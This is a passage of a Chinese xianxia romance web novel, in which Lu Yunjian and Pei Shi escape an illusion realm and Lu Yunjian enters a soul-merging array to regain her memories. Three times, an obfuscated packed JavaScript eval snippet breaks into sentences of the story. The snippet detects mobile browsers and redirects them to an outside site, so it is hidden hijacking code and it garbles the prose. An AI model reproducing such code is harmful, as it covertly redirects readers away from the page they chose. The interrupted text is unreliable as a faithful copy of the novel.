裴世朝着声音传来的地方转过头去,一双微凉的手将覆住他双目的白纱揭开,石室内阴暗,裴世没花多少时间适应突来的光亮,就将目光转向了进来的白衣道人。 那白衣道人约莫三十出头,长身玉立,打扮得极为简单,几乎没有任何配饰。 他生得慈眉善目、极尽温和,这样仙风道骨的人物总是容易让人觉得遥远疏离,可他一双温和眼眸,仿佛百川汇于其中,岁月流转,日月争辉,能包容一切事物,无端让人易生亲切依赖之感。 少年裴世注视着那样一副温和眉眼,微蹙眉头。 他觉得这人看着有些眼熟,也有些亲切,但在他的记忆中,他并不曾见过此人。 画面外的陆云笺也是一惊。她也觉得这白衣道人看着眼熟,苦思片刻,忽然有了答案—— 她转头看向站在她身旁的裴世,他与白衣道人在五官上虽然并不十分相似,但给人的感觉却是如出一辙,是那种一看就觉得是个好人的相貌。 陆云笺双眼在这两人之间扫了好几回,欲言又止,裴世却一眼看穿了她的心思:“他不是我父亲。” 陆云笺:“……” 画面中的少年裴世显然也有些疑惑,他问:“你是谁?” 白衣道人立在他面前,似乎也在等他发问。听他如此问,白衣道人笑道:“你我并无瓜葛,只是那日我追击鬼魈,迟了一步,等我到时,只有你活了下来。” 少年裴世道:“那东西叫鬼魈?” “嗯,鬼魈生性狡猾残暴,这一只长了百余年,害人无数,我却已无力将它彻底杀死,频频教它逃走,是我之过。” “你是负责抓这东西的人?” “不是。” “你是仙门里的人?” “也不是。” “那跟你有什么关系?” 白衣道人笑着摇头,没有回答。 裴世觉得这人很是奇怪,但他没有心思多管,换了句话问:“你会法术?” 白衣道人道:“我知道你想做什么。可你是否记得,你幼时曾有一名道人为你卜算过,他劝你此生莫要踏入仙门修习法术,若逆天命,定然招致灾祸。” 裴世冷笑道:“顺应天命,就没有灾祸了吗?”他此时的戾气还远不如后来重,尚且带着稚气的脸上出现这样的神情,便显得有些突兀与好笑。 白衣道人没有笑。他叹了口气,摸了摸少年裴世的头:“是我之过。但你若入仙门修习法术,此后便难再有人保你了。你在此昏迷了一月有余,身体尚未完全恢复,还是先在山中待上一段时日吧。” 裴世不懂这人为什么喜欢把“是我之过”挂在嘴上,他疑惑、不甘、茫然,但最后只哑声道了一句:“多谢你救我。” 白衣道人摇了摇头,说:“是我对不住你。” 石门打开,外头碧竹连绵,微风习习,流水潺潺。 山中时而有些精怪来访,但都得了白衣道人的令,总是避着裴世走。白衣道人虽法力高强,却从不让他碰任何有关仙门术法之事,山中结界强大,裴世困在其中,出去不得。 可山中安宁闲适留不住他。 一日山中万物沉寂,结界不知为何比平日更为微弱,裴世半夜爬起来,只留了一封信,便匆匆奔下山。往日里他若是要离山,不是被结界阻拦,就是被随后跟来的白衣道人领回去,可这一回,结界没有拦住他,白衣道人也没有跟上来。 裴世什么都没有带走,只穿了一件单薄衣裳,身无分文、颠沛流离,不知求过多少人,挨过多少打,孤身一人跋涉三年有余,终于来到了天下第一大仙门——云间世的山脚下。 此后会发生什么,陆云笺不知道,裴世却很清楚。 他大梦初醒一般,在那瘦小污脏的背影缓缓步上长阶之时,抬手召来归云剑,一剑斩破幻影,重新拉起陆云笺,跨过归云为他们破开的生路。 二人一路奔来,没有去看身后如何,此时回头望去,却见先前的那些幻影,被打破的重新汇聚,未损的仍在原模原样地上演。那些幻影就像被困在了原处,除非幻境被破,否则将一直续演,不知疲倦,也绝无可能停歇。 方才被归云破开的高墙一般的幻影也重新汇聚起来,那个瘦小疲惫、满身污泥的少年仍在缓缓步上台阶。 后方是挥之不去的梦魇,前方又缓缓亮起光,一个个模糊的身影又逐渐清晰,灰白的影子逐渐变得生动鲜活。 四处都是幻影,是梦魇,四面楚歌,无所遁形。 二人穿梭其间,片刻不停,却忽地被一道极盛的光亮晃住了眼,一时间忘了迈开脚步。 一时失去视觉,陆云笺便只能感受到裴世强自镇定下的细密颤抖,她本能地想要抓紧他的手,而裴世却在那之前,先一步松开了她的手。 恍如白昼降临般的光芒散去,陆云笺终于看清,那是她手中亮至白炽的灵光,映照着裴世渐消的血肉与森森白骨。 那道炫目灵光利箭般刺过陆云笺脑颅,那个无数次出现却从未听清的声音此时又轰然炸响,这一回,完完整整,真真切切。 那是她自己的声音,那个声音说—— “毁掉断界阵!” 断界阵…… 什么是断界阵? 归云的光芒明灭一瞬,消失不见了。 裴世单膝跪在地上,面色苍白,额上细汗密布,一手捂住胸口,剧烈地喘着气。 陆云笺猛然回过神,忙在他身旁蹲下来,在身上翻找着药物,递到他手中,唤道:“裴世,你没事吧?!” 裴世勉力抬眼,陆云笺这才看清那张一贯从容的脸早已苍白无血色,她下意识抬起颤抖的指尖捧住他的脸,却触到一片湿润。 她平生第一次看见,裴世竟会泪流满面。他像是一个被魇得极深、即将窒息而死的人,垂死之际又忽地回光返照,一把抓住了陆云笺的手。 他轻声问:“陆云笺……为什么?你为什么不能可怜可怜我?” 陆云笺指尖轻颤,只觉面上一凉,抬手一抹,竟也是决堤的泪水—— 为什么? ……为什么? 那个白色的鬼魅一般的影子再次出现在二人前方,他缓缓走近,雪白睫毛根根分明,金色瞳眸辉光潋滟。 他在裴世面前蹲下,微微笑道:“归云仙君,你害怕吗?为什么灵力不稳?为什么要逃?” 裴世倏然缓过神来,回身将陆云笺护在身后,没有说话,只在手中结阵,源源不断地灌入灵力。 强劲金光爆裂开来,白色身影刹那间化成无数碎片,连同幻境中的无数幻影一同撕裂扭曲,最后消失,整个幻境都有一瞬震颤,幻影逐渐交叠混乱,耳边风声呜呜,似是尖啸,又似哀嚎。 可是只有一瞬,一瞬之后,那些幻影又重新汇聚起来,白影又出现在距离二人咫尺的地方,他稳稳立着,笑容不坠:“归云仙君,你我本为同源,因此我想同那白衣道人一样奉劝你一句,不要再与仙门掺和。不过呢,我算了你的祸福命数,想来你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16247000|179016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是不会听劝的,你若是听劝,也不会落得那样的下场。” 裴世极力平静了心绪,听他如此说,没有表现出丝毫畏惧,只是冷笑道:“你是照灵鸟的后人?” 白发金瞳,的确就是传闻中照翎族后代的特征。这一特征无论延续多少代也不会减弱,更不会消失,很容易辨认。 白影却笑道:“所谓照灵鸟种族的混血后代?我不是。”他的指尖溢出金色光芒,缓缓流入裴世的胸口。 裴世的身体对这光芒并无拒斥,然而白影指尖微微一转,裴世的脸色便陡转惨白,嘴角甚至有鲜血流出。 白影的神色冷下来,放下了手:“你应该能感受到,我的灵力根本无法与你抗衡,但你我同源,而我又对你知根知底,就算我们差距再大,你也会被牢牢压制住。” “是吗?”裴世抬眼看着他,“‘被牢牢压制住’?” 白影道:“你的敌人不是我,你应该知道,想要你死的是谁。而我所有的压制你的方式,他们也一样可以有。” “不管是谁。”裴世的语气很平淡,“我一定会让你们死在我前面。” 白影微微一笑,又欲抬手,却忽地有一道紫色光芒,携着疾风穿过他的脖颈。 陆云笺一把将裴世拉至身后,抬手召回破月,冷声道:“你的伎俩就是把人害怕的东西摆出来演给他看?还是说你再怎么样都无法取胜,所以只能使出这种下三滥的手段?” 陆云笺这一下打得很准,却没有伤到白影分毫,白影甚至都没有抬手去检查被破月穿过的脖颈,只是笑道:“陆小姐,你杀不了我的,我已经死了很多年了。” “那也不是不能让你魂飞魄散。” “嗯,这倒是真的。”白影笑着点点头,却没有半点惧怕,“不过陆小姐说的不对,我可没心思去把归云仙君讨厌的害怕的东西选出来,只是原模原样地替归云仙君好好回忆一下而已。有的人穷尽一生,也未见得能有多少光明,这个道理,陆小姐不应该也很明白吗?我以此来提醒归云仙君明哲保身的道理,难道不是世人所尊崇的‘大爱’吗?” 陆云笺道:“什么大爱,我看你是有大病吧。”她正欲多骂几句,却听身后裴世竟忽地轻笑出声,不由得怒上心头,侧过半边脸道,“你也有病?” 先前那个惊惧悲哀的人早不见了,不知何时,又是那个一贯从容自若的归云仙君。 仿佛已经毫无所惧。 他苍白的脸再度被陆云笺手中的灵光映亮,这一回,她的灵光是护着他的。 裴世闭上眼,轻声笑道:“你别理他。” 陆云笺道:“他话太多了,那你把他打死啊。” 裴世道:“抱歉,不是很想追着一个死人打。” 陆云笺:“?” 裴世却放低了声音,对她说了另一句话:“他是被封印在此的,不破封印,杀不了他。” 这便麻烦了。 不知这白衣男子究竟是个什么东西,被封印在何处,又因什么被封印,他们自然不能随随便便把这封印毁坏。然而这幻境不能被强行打破,白衣男子在此,又阻碍着他们寻找幻境的突破口,可谓是进退两难。 陆云笺也放低了声音:“那怎么办?” 裴世将下巴抵在她颈间,将声音放得更低,即便是在她耳边,陆云笺也只能勉强听清:“他身后,暗处有一座雕漆彩绘神像,是东岳大帝像。往上三寸,是幻境的突破口,你用破月打碎它,就能出去。” 陆云笺微微一怔,转头道:“你伤得这么重?” “不是,只是看你方才那一下破月使得很好,”裴世似是轻轻叹了口气,“我有些……想念了。” 65. 无可知 “……”陆云笺将头转回去,“打哪?” “打他头。” 陆云笺抬眼看了看立在他们前方的白影,他正好整以暇地垂眸看着他们,并不打算干预他们的任何行动。 破月淬满灵力,猛地掷出,携着耀目紫光穿过白影,径直朝着后方黑暗中去。然而,却有人先她一步,青碧色的强劲灵光一闪而过,无论是彩绘东岳大帝像还是幻境,都霎时间碎作千万片! 四周忽起狂风,刹那天光大亮,风雪扑面而来。 陆云笺收回破月,见漫天大雪中行来一个烟青色身影,脚步很急,片刻便来到他们面前,正是季衡。 陆云笺忙一把将裴世拉起,道:“季衡哥!你怎么也在幻境里面?” 季衡道:“原本我们在原处等你们,可不知为何,忽地狂风大作,风雪迷人眼,眨眼间便到了一段长阶前,拾阶而上,便见无数金身佛像。再过片刻,忽地一片漆黑,我一路摸索至此,过了许久,才遇到你们。” 陆云笺道:“我们看见的也就是这样。不过你有没有遇到一个白衣男子,他非要给你算生辰八字?” 季衡蹙眉道:“什么白衣男子?” 陆云笺心下了然,恐怕那人就是冲着裴世来的。 为什么独独冲着他来? ……什么照灵鸟,什么同根同源? 陆云笺抬眼看向裴世,可他没有半点要解释的意思,或许他也根本没有答案。 季衡道:“我用通讯符联系了阿瑶和江年,他们并未被卷入幻境,此时正在不远处的村庄中等我们。”说着似是终于留意到了裴世的状态,问,“裴公子受伤了?” 裴世将被陆云笺拽着的手收回,没有去看季衡,道:“无事。” 他说着便挺直了背脊,大步往前走去,陆云笺怔了一瞬,正欲去追,季衡却忽然一把拽住了她:“云笺,你们在幻境里遇到了什么?” 陆云笺看着裴世的背影,默然片刻,道:“……是一些乱七八糟的幻影。” 季衡闻言也不再追问,只道:“许是此地精怪设下的陷阱,天生地长的精魅最擅设幻境,你们莫要太放在心上。” “嗯。”陆云笺将目光自已经走至远处的那个背影身上收回,“天生精魅……会设置这种都是佛像的幻境吗?” “此事我也不曾想明,若说是某处的结界,附近却也没有寺院之类……且我似乎见过那场景几次,只是幻境中景象与现实中终有相差,不能得知究竟是何处。” 听季衡所言,他似乎觉得这幻境不过是偶然,可陆云笺却知道绝非如此,至少幻境中的白衣人与她和裴世都相识,这便不可能是巧合。 陆云笺闭上眼,轻轻摇了摇头,缓缓迈步往前走去。身旁季衡的脚步极轻,连靴子踩在积雪里的咯吱声响都没有。 二人默然走了片刻,陆云笺问道:“季衡哥,你有没有听说过‘断界阵’?” 季衡闻言一怔:“……断界阵?” 陆云笺道:“我听说三百二十年前仙人与魔王大战时,魔王制造了一件用于打通两个时空的武器,叫做‘断界骨’,但我看过很多阵法图谱,没看到过什么断界阵。” 季衡踌躇片刻,道:“……陆尊主与陆公子,不曾告知于你?” 陆云笺微微一顿,而后停下脚步,袖下指尖不自觉攥紧:“告知我什么?” 季衡思索片刻,道:“许是陆尊主与陆公子担忧你思虑过多。”他说着抬眼看向陆云笺,“你可知灾劫的传闻?” 陆云笺轻轻点头。 季衡道:“我虽因记忆缺失,也对灾劫知之甚少,但近年来云间世与镜阳宗两派合力设法共对灾劫,便也有所知晓。” 陆云笺道:“……记忆缺失?” 季衡微微颔首:“其中缘由我也并不清楚,所幸也并无大碍。你可知圣清结界?” 陆云笺点头:“可以覆盖方圆万里的最强防御结界,这个我哥和我说过。” 季衡道:“三大门派与部分地方仙门共设千机阵,以保灾劫降临时,可以顺利开启圣清结界。圣清结界以四方神兽之阵为基,而四方神兽,正是用于开启断界阵,云间世结界、圣清结界、断界阵三道阵法互相连通,以求发挥各个阵法的最强效力。魔王用于打通两个时空的武器是为‘断界骨’,而断界阵,则是模仿断界骨,用于撕开时空裂缝的阵法。” “……撕、撕开时空裂缝?”陆云笺如遭雷击,“那不是和几百年前魔王做的事一样吗?” “自然不是一样。”季衡道,“魔王打通两个时空,是为引渡妖魔、毁灭两个时空,而我们之所以想要撕开时空裂缝,是为联合另一个时空共对灾劫。” “可另一个时空——”陆云笺后知后觉地刹住,对上季衡略显疑惑的目光,忽地一阵没来由的心悸。 可另一个时空并非修真界,如果撕开时空裂缝,妖魔横行,必然会导致另一个时空血流漂杵、生灵涂炭。 ……所以,那个属于自己的声音说要毁掉断界阵,就是为了阻止修真界撕开时空裂缝? 可既然她知晓断界阵不可行,修真界其他人难道半点也不知道?又或者即便知道,也要撕开时空裂缝? ……还是说,修真界撕开时空裂缝的目的,并非如季衡所言,是为了联合另一个时空共对灾劫? 她无从得知修真界的目的如何,也无从得知是否应该告诉众人关于另一个时空的事情,不知孰利孰弊,不知是福是祸。 季衡见陆云笺一瞬站立不稳,抬手扶住她,道:“另一个时空怎么?” 陆云笺轻轻摇头,避开了他的手:“没事。” 好在季衡没有多问,只道:“我也仅知如此,如若你想知晓更多,或许待开启合魂阵法,你恢复了记忆,便能尽数清楚明了。” 是啊……马上就可以恢复记忆了。届时所有的事,或许都会有答案吧。 陆云笺轻吐一口气,道:“裴世走远了,我们快些跟上去吧。” 方才所发生的一切仿佛不过突如其来的小小波澜,只平添了疑问,却得不到任何答案。此事裴世绝口不提,陆云笺便也不多说,季瑶和贺江年见他们如此,都以为只不过是偶然,没太放在心上。 此后偶尔听说所过之处建有寺庙,陆云笺便都会去看看,可看了好几处,都是一无所获,仿佛那个鬼魅一般的白色身影,真的只是一场不可找寻踪迹的梦魇。 裴世仍是一副淡淡的模样,半点瞧不出不对劲,陆云笺不知道,这样一个一贯看起来从容自若的人,在无数个深夜里,是否会被噩梦所扰,不得安宁。 裴世当然也不会告诉她任何答案。在这几人里,仿佛他才是那个置身事外的旁观者。 风雪连绵,一切痕迹都被大雪掩盖,渐渐地不再那么清晰。惟觉光阴流似箭,转眼便时近年关。 离除夕只剩二十余日,陆云笺却忽然做了个有些反常的决定—— 她要回云间世待上半月,再和其余几人汇合。 大多数仙门都没有过节的习惯,云间世与镜阳宗在每年除夕都会给众长老弟子放假半月,直至上元节。 陆云笺也并不打算留在云间世过除夕,几人约好,待完成任务,便都回贺江年家,一同度过新春佳节。但她或许多少还是对云间世有些不舍,于是便在行程将要完成时,抽出半个月回到云间世。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16260077|179016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 裴世听她如此说,像是见了鬼似的,抬头看向她,道:“我和你一起回去。” “你有事要回云间世吗?” “……没有。” “那你回去干什么。”陆云笺道,“总不能是太无聊太清闲,所以喜欢上班吧?” “……” 季瑶道:“此去路途远,也让我们送送你。” “没事,”陆云笺转向季瑶,那种会噎死人的攻击性刹那间就都没了,甚至双眸都盛不下盈盈笑意,“没有多远,我开个传送阵,再雇马车回去就好了,钱还是带够了的。” 陆云笺行动效率很高,前一日提出要回云间世待上半月,第二天晌午人就已经到了云间世山脚下。 此时云间世正是冬日里难得的晴好天气,只是风有些大,陆云笺自山前石阶缓缓攀上,走至山门时,回身向下一望。 云间世正如其名,隐在重重云雾间,目及之处皆被一层淡金而几近透明的结界笼罩。 结界之中形状奇异的花朵隐隐流转,细碎花瓣飞扬于云间世各处,如同淡金色的细雪,正如中孚大殿前那株神树一般,终年不凋,数百年来护佑着云间世。 风起云涌,云间世四处云雾如逝水一般流动,送来万壑松涛。 陆云笺想起来,她曾在《修真界通史》一书上看到过,云间世曾是仙门至尊,世间数百大小仙门尽数归其麾下,想来万众朝拜时,声响应当就如风声呜呜、松涛阵阵。 这样壮观的景象,再过二十余日,她就再也看不到了。 可陆云笺没有为云间世任何一处景色停留太久,她甚至不常去见陆稷与陆明周,一回云间世,便将自己关在房内,足足关了半月。 半个月后,云间世下了一场大雪,陆云笺没有与父亲和兄长告别,只做了一盒白梅花糕,提着下了山。 距离除夕还有七日,初时陆云笺还有些紧张忐忑,日子越到后头,反倒愈加平和,甚至有一种终于可得解脱的轻松之感。 闲暇之时提起毛笔写写画画,也总算不是画符咒,偶尔翻看几本书,也总算不用特意去找什么《修真界通史》《神鬼妖魔录》《攻伐绘阵图解》。 一日陆云笺在院中拾到了一只小麻雀,雪水厚重,打湿了它的翅膀,它一时飞不起来,陆云笺便将它带回屋里,找了些粟米来喂。 小麻雀吃了粟米便很精神,居然不怕人,还蹦蹦跳跳地过来啄陆云笺的手指。陆云笺一只手哄着它,另一手悬在半空,正要用手指摸一摸小麻雀的脑袋,门外却忽然响起了“笃笃”两声清脆的敲门声。 陆云笺尚未回应,木门便被“吱呀”一声推开,先是燕燕蹦蹦跳跳地进了门,瞧见小麻雀,便兴冲冲地过来与它玩,裴世跟在后头,提着个糊了一半的纸糊灯笼:“不是去拿彩纸?怎么拿着拿着人不见了。” 小麻雀瞧见裴世进来,不知是被带进来的风雪冻着了,还是被这个不速之客吓了一跳,缩着脖子躲到了屋中角落。燕燕忙三两步跟了过去,把它捏起来放在自己衣襟里,小麻雀却不肯,又扑腾着飞到桌上。 “路上碰见了一只小麻雀。”陆云笺道,“雪水打湿了翅膀飞不起来,等它翅膀干了我就把它放走。彩纸在那边柜子里呢,你拿一下,我陪它玩会儿。” 裴世没吭声,半晌之后将纸糊灯笼放在一边,走至桌旁,也伸出一根手指点了点小麻雀的脑袋。 不过他不受待见,指尖还没碰到,小麻雀就又蹦远了。他再伸手,小麻雀就再蹦,一时谁也没碰到谁。 陆云笺笑道:“这只小麻雀还挺聪明。” 裴世的手停在半空,沉默几许,他忽然没头没脑地问了一句:“就这样,不好吗?” 66. 恍一梦 陆云笺抬头望他:“什么?” 裴世道:“若是恢复记忆,你就要死了,什么东西都不会再留下,你的这些……所谓家人,所谓朋友,就都再也见不到了。” 陆云笺还是笑着:“没死啊。妄尘前辈说我只是魂魄分裂了而已,都是同一个人,只是有没有记忆的问题,你说的这些,也都不会变。” 裴世没有说话。 什么魂魄分裂,什么失忆与否……这些都是他从前常与她说的,到了如今,他却不知为何,不想再信这些。 他与陆云笺不一样,陆云笺渐近解脱,他却愈发煎熬。他无疑是想让陆云笺恢复记忆的,可兵临城下,他却陡生畏惧,下意识想转身奔逃。 裴世自己也不知道,自什么时候起,他对陆云笺恢复记忆的期冀不再那么强烈,反倒犹疑更甚,恐惧更甚。 他以为早已说服了自己,他以为自己可以不去想,他以为自己可以忘记,以为可以重新开始。 可偏偏又遇上怜生寺幻境,偏偏又是那一抹强劲灵光再次提醒他—— 陆云笺心心念念的,是取走他的性命。 于是他便忽地意识到,这些都是假的,那些让他可以欺骗自己、让他可以有片刻喘息、让他可以自我安慰说陆云笺失忆了也好,一切可以从头再来,可以没有恨,没有欺瞒,不再权衡利弊,一切都…… 可一切都是假的,都不过一场梦。 陆云笺送他锦囊,他想起她曾经送他的那把刀;陆云笺做白梅花糕,他想起她曾经教他画符开阵使剑;陆云笺挡在他身前,他却想起被鬼魈穿心断骨那一日,陆云笺回过身,掌中灵光汇聚,将他的血肉吞噬一寸又一寸。 那一瞬的痛足以将一切焚成残渣。 他忍不住想—— 如果陆云笺恢复记忆,他们会是形同陌路,还是刀剑相向? 如果是这样……那失忆了也好,陆云笺还会挡在他身前,想要护他周全。他可以舍去他们曾经相识的那些年,可以容忍她视他为陌生人,可以接受她说“我都没见过你,更不认识你,为什么会记得你”。 至于陆云笺为什么欺他瞒他杀他……都不重要了。都可以无所谓,都可以没有答案。 原来他并不需要答案,原来他畏惧答案。 但陆云笺却早已看开,只等合魂法阵开启,给一切一个交代。 他忽地后悔了,忽地想要临阵脱逃,甚至不惜把陆云笺曾经的说辞搬出来劝她,不管合理与否、正确与否。 陆云笺见他不吭声,会错了意,道:“没事的,不管合魂法阵有多难熬,我都会挺过去,还这个时空的陆云笺回来。” “我……”裴世正欲开口,贺江年却忽然闯了进来,唤陆云笺去帮季瑶调白梅糕的馅料。 没说出口的话,就此堵在喉间。 或许裴世也并不知道该说什么,只不过是下意识地反驳,就像是临阵去翻找武器匣,却什么都没找到一样—— 几年前陆云笺送他的那把刀,早就在他将它刺入她腹中时彻底断裂了。 越是风雨欲来越是平静,越是时日无多,便越觉光阴似箭。 于季衡、季瑶、贺江年来说,合魂法阵只是帮助陆云笺恢复记忆而已,并不存在什么生死,但除夕一早,大家还是莫名起了个早,像是要给什么人送行。 陆云笺特意挑了件这个时空的自己惯穿的槿紫劲装,仔细整理了一下,觉得有点像是在为自己打理寿衣,忽然觉得有些好笑。 有人推门进来,陆云笺头也没回,低头将腰带绑得更紧,道:“不要急,我马上就好了,最后多看自己几眼也不为过吧?” 裴世被猛地一刺,眼睫簌簌颤抖,不知是因为她说的话,还是因为她穿的这件衣裳。 陆云笺没有觉察到他的异样,自顾自坐在床边,将腕上绑带系好,道:“其实我到现在还不知道,这个时空的‘我’,到底是怎样一个人。” 她这话却像是又提醒了裴世什么,他良久没有说话,忽地轻声道了一句:“陆云笺,别恢复记忆。” 陆云笺蓦地抬头:“……什么?” 方才那句话就像是裴世一时不慎、没头没脑的一句,陆云笺只当是自己听错了,正欲低头继续绑腕带,裴世却又开口道:“别恢复记忆。” 这一句极重,教人忽视不得。极重极沉的一句,初时竟听不出什么情绪,陆云笺缓了许久,忽地觉出了那沉重的由来—— 仿佛一个人奔逃数日,终于赶至路的尽头,却发现前头是万丈深渊,而后头是一直追逐他的豺狼虎豹。此时野兽的獠牙已经逼至他眼前,随时会捕杀他,而悬崖处冰冷刺骨的风灌进他的领口,告诉他,后退一步,粉身碎骨。 其实若是直面豺狼虎豹,或许还能有机会活下来,但他终是无法忍受想象中被野兽撕扯啃咬的滋味,逃亡的每一日都在那样的恐惧中无法入眠。 于是他翻身往悬崖倒去。 恐惧的,绝望的,决绝的,也无疑是痛苦的。 陆云笺叹了口气:“裴世,你被鬼魈穿心断骨那次,我对你下了杀手,这件事是真实发生了的,对吧?” 裴世没有回答。 “我不完全清楚究竟是怎么回事,”陆云笺垂着眸,“但我只能答应你,我恢复记忆之后,那样的事绝不会再次发生。” 裴世忽地笑了:“你凭什么答应?我又凭什么信你。” “是她告诉我的。是这个时空的我自己……年岁更替,魂魄不稳,我可以感知到我曾经的部分记忆、想法以及情绪。” 裴世一怔:“……什么?” 陆云笺抬起眼:“我的确没法保证,也并不能说服你信我。但我只能说,我必须恢复记忆。” 裴世眸色一沉,冷声道:“你托妄尘前辈布下合魂阵,你有你的方法,我也有我的手段。不知你还记不记得,当时在流丹阁,若不是陆明周,你怕是已经死了一次。” 他说着缓缓上前几步,指尖已有金光亮起,映照着他略显苍白的脸。正如那日在流丹阁,他晦暗不明的神色里浸润着经年的恨意与杀意,一步一步,朝她逼近。 这一次陆云笺没有退。 这样孤注一掷的威胁其实毫无杀伤力,只是他走投无路,却犹作困兽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16260078|179016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 斗。 陆云笺的目光落在他手上,看的却不是亮起灵光的指尖,而是腕上那道消除不了的黑色枷锁,那是戮心蛊的印记。 裴世顺着她的目光看向自己手腕,冷笑道:“陆云笺,你当真以为,你给我下区区一个戮心蛊,我就真的不敢杀你了吗?”他指尖的灵光甚至丝毫没有变强,只不过手上微微发力,竟直接将腕上那道黑色枷锁震碎为齑粉! 戮心蛊,原来根本不能对他造成任何威胁。 陆云笺看着那黑色粉末顷刻消散,却忽地笑了起来:“好了,原本还担心要是我一不小心死了,你会不会因为戮心蛊而受到影响,现在不用担心啦。” 裴世蓦地顿住,指尖灵光甚至都有一瞬不稳。 陆云笺此人,永远都能出他不意。 陆云笺却是真正地放下了心中最后一个重担,抬手将另一只手的护腕也绑好,再抬头时,那双眼睛里盈满了笑意,就此望进他的眼睛:“裴世,你……是不是喜欢我?” 裴世呼吸一滞,指尖最后一点灵光也熄灭了。 陆云笺说完便觉不妥,连忙摆手道:“不要误会,我说的是这个时空……”话未说完,熟悉的淡淡白梅香刹那浓郁起来,尽数扑在她鼻尖。 裴世忽地俯下身,双手环至她身后,几乎是将她整个人都笼罩了起来。 他是想下定身咒的。 然而他的手还没来得及触及她的背,陆云笺却先一步抬手,抱住了他。 裴世的手凝在半空。 陆云笺把手从他背上移开,笑道:“抱歉啦裴世,我用了最强的定身咒,前段时间学了好些日子才学会的,没想到还能用上。”她没有去看裴世的神色,嘴角苦涩地弯了弯,从他怀里钻出去,连滚带爬落荒而逃。 尽管她并不知道自己为何要逃。 可行至门口,却又忽地心生恻隐,陆云笺停了脚步,转过头,只能看见那个僵硬定住的侧影。 她轻轻笑了笑,道:“其实还有好多事情没有查明白,就都交给你了。不出意外的话,以后应该还会遇上那个喜欢胡说八道的白衣人,不过你不要怕。裴世,你很好,从前种种譬如昨日死,本陆大仙给你算了一卦,来日方长,你定能前途光明,长乐安康。” 裴世闭上了眼睛。 合魂法阵复杂,设在众人一起用饭的大厅中。此时阵法已成,季衡、季瑶、贺江年三人守住阵法其中三角,妄尘则守在阵法中央,只等陆云笺与裴世二人。 陆云笺匆匆走来,拂去衣上飘雪,道:“诸位久等,请开始吧。” 妄尘道:“合魂法阵四位护法最为稳妥,云仙君与贺仙君心法不合此阵,裴仙君……” 陆云笺道:“他来不了了,就这样吧。” 说着便一脚踏入法阵中央,繁复法阵刹那在她脚下如同重瓣花绽开,白色光芒霎时包裹住她,混沌与刺痛一瞬袭来,陆云笺缓缓阖上眼。 所见最后一眼,是强行挣开定身咒而面色苍白、嘴角犹带鲜血的裴世,踉跄走至合魂法阵一角,席地而坐,手中结阵,灵力大盛,汇入法阵中央,是极璀璨耀眼的金色。 67. 夜叩灵 外头日光大盛,鸟鸣啾啾,陆云笺头天晚上入睡前忘了将窗户关严,日光从窗缝里头溜进来,精准地晃住了她的眼睛。 陆云笺不堪其扰,起身将窗户关紧,这觉却是睡不下去了,她只得换了衣服、整理了床铺,推开门,正迎上夏日里标准的艳阳天。 眉阳村原本没有名字,只因位于眉阳山脚下,村人们便都这么喊。 村子不大,却热闹得很。眉阳山百年前坐落了一座仙府,如今仙府没落,灵气却仍在,极少有妖魔鬼怪作乱,甚至连野兽都稀少,辗转来此的人发现了这么个宝地,便都在此安了身。 今日好容易得了闲,陆云笺原想一觉睡到晌午,却又阴差阳错起了个早,心情不大好,恹恹地在院中石凳上坐了,盯着树上吱哇乱叫的蝉。 这一院位置不好,即便是在小村庄里也是偏僻的,因此只住了三户:她与母亲,独自拉扯两个孩子的张大娘,还有孤身一人的柳娘子。这三家都是女子当家,住在一块儿,便都互相帮衬着。 正当陆云笺思索该怎么把树上那蝉打下来的时候,柳娘和张大娘抬着一袋米面进来了,陆云笺便起身帮了把手:“这是?” 柳娘道:“村长带回来的,估摸着是干什么赚了些钱,这些米面,每个院子里都发了一袋。” 陆云笺没有说话,只抬头望了一眼不远处已经升起炊烟的几处院子。 柳娘道:“我寻思着做些馒头放着,不过大热天的,不能放太久……” 正说着,一个白色身影一闪,进了院子,笑道:“这是做什么呢?这么热闹。” 陆云笺眼睛一亮,唤道:“娘!” 柳娘也转身笑道:“昔燕呀,一大早就出门了,忙什么呢?” 周昔燕道:“绣了几个荷包,拿去集市上卖了。今日去得早,占了个好位置,就在路口,一会儿便都卖完了。”说着摸了摸陆云笺的头,从挽着的小竹篮里拿出一块绣着燕子的手帕,递到陆云笺手中。 陆云笺是管钱的,因此熟门熟路地点了一下,居然有六银,又小心翼翼地用手帕包好,收到怀里。 “挺好。”柳娘道,“我打算做三竹匾馒头,一人一竹匾怎么样?够吃好几天。不过我得跟你借用一下小云笺,她劲儿大,揉面正好。” 陆云笺似乎已经习惯了做苦力和做擀面杖,闻言已经开始卷袖子了。 